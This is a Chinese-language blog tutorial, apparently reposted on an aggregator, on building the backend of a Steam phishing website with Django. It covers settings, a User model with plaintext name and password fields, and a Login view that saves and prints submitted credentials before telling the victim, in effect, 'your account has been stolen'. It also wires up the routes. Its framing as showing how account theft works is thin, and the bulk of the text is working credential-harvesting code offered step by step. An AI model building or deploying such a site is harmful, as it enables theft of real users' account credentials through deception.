微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

为何钓鱼网站一钓一个准?Python Django带你搭建steam钓鱼网站

前言

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

在这里插入图片描述

这些盗号网站统一的目的都是要你登录账号输入密码,点击登录,不过就是永远会提示你密码错误登录不上。但你输入的所有信息,都会出现在别人的电脑上

而今天,我们的目的就是搭建一个这样的网站后端,简单的还原一下你被盗号的过程

请添加图片描述

环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web 

在这里插入图片描述


manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把网站的各个模块拆分成子应用

python manage.py startapp login

在这里插入图片描述


生成一个login文件,打开文件

在这里插入图片描述


在这里插入图片描述

介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行


运行后会给出一段域名,点击打开

在这里插入图片描述

如果出现下面的页面,就说明该项目环境配置成功了

开始实现功能

点击进入settings.py文件,进行定制化修改

在这里插入图片描述

Application deFinition 网站子应用进行注册,在最后一行写入login

# Application deFinition
# 网站子应用进行注册
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'login',
]

创建一个templates文件,并修改代码

# templates 文件夹的配置项
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'Dirs': [os.path.join(BASE_DIR, 'templates')],
        'APP_Dirs': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

配置网站认语言、时间

# 网站认语言 英文 修改中文
LANGUAGE_CODE = 'zh-hans'
# 当前时间
TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False

最后在刷新网站页面,就变成了中文

静态页面当中的文件夹配置,并在总目录中创建一个static文件

STATIC_URL = '/static/'
STATICFILES_Dirs = [
    os.path.join(BASE_DIR, 'static'),
]

请添加图片描述

导入所需文件

在这里插入图片描述


在这里插入图片描述

开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models

# Create your models here.

class User(models.Model):
    name = models.CharField(max_length=20)
    pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
# Create your views here.

# 在浏览器中显示网站首页
def index(request):
    return render(request, 'index.html')


# 登录类视图
class Login(View):
    def get(self, request):
        return render(request, 'denlu.html', locals())

    '''
    当用户页面中输入了一些数据
    可以使用post去做接收
    '''
    def post(self, request):
        name = request.POST.get('username')
        pwd = request.POST.get('password')

        User.objects.create(name=name, pwd=pwd).save()
        print(name)
        print(pwd)

        return HttpResponse('你的账号已经被盗,溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Login

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index, name='index'),
    path('login/', Login.as_view(), name='login')
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3文件型小型数据库

在这里插入图片描述

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

在这里插入图片描述

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库

在这里插入图片描述


请添加图片描述


请添加图片描述

运行文件效果如下图

选择点击登录,输入账号密码,点击确定

在这里插入图片描述


然后你的账号密码会被打印出来


在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐